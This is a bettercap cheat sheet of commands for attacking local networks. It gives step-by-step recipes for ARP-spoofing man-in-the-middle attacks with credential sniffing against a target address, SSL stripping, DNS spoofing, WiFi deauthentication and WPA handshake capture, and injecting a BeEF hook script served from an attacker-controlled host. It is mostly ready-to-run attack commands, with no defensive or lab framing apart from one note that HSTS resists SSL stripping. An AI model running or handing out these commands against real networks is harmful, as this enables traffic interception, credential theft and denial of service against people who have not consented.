Network attack Swiss Army knife: MITM, sniff, spoof.
Quick Start
sudo bettercap -iface eth0
sudo bettercap -iface eth0 -caplet http-ui
Core REPL Commands
| Command | Purpose |
|---|---|
net.probe on |
Discover LAN hosts |
net.show |
List discovered hosts |
arp.spoof on |
Enable ARP spoofing MITM |
set arp.spoof.targets <ip> |
Limit MITM to target |
net.sniff on |
Capture credentials/traffic |
https.proxy on |
HTTPS with SSL strip |
wifi.recon on |
WiFi AP/client discovery |
wifi.deauth <mac> |
Deauthenticate client |
ble.recon on |
BLE device scan |
ARP MITM + Credential Sniff
sudo bettercap -iface eth0
net.probe on
set arp.spoof.duplex true
set arp.spoof.targets 192.168.1.50
arp.spoof on
net.sniff on
HTTPS Downgrade / SSL Strip
set https.proxy.sslstrip true
set arp.spoof.targets 192.168.1.50
arp.spoof on
https.proxy on
net.sniff on
HSTS-protected sites resist SSL strip. Works on non-HSTS HTTPS or HTTP→HTTPS redirects.
JS Injection (Hook BeEF)
set http.proxy.injectjs http://YOUR_IP:3000/hook.js
set arp.spoof.targets 192.168.1.50
arp.spoof on
http.proxy on
DNS Spoofing
set dns.spoof.domains target.com,*.target.com
set dns.spoof.address YOUR_IP
dns.spoof on
arp.spoof on
WiFi Workflows
# Discover APs and clients
sudo bettercap -iface wlan0
wifi.recon on
wifi.show
# Deauth a client
wifi.deauth <client_mac>
# Deauth all clients from an AP
wifi.deauth <bssid>
# WPA handshake capture (deauth forces reconnect)
set wifi.recon.channel 6
wifi.deauth <bssid>
# Handshakes saved to: /tmp/bettercap-wifi-handshakes.pcap
Caplets (Automation Scripts)
# Run built-in caplet
sudo bettercap -iface eth0 -caplet http-ui
sudo bettercap -iface eth0 -caplet https-ui
sudo bettercap -iface eth0 -caplet mitm6 # IPv6 MITM
# Custom caplet file (commands, one per line)
sudo bettercap -iface eth0 -caplet my_attack.cap
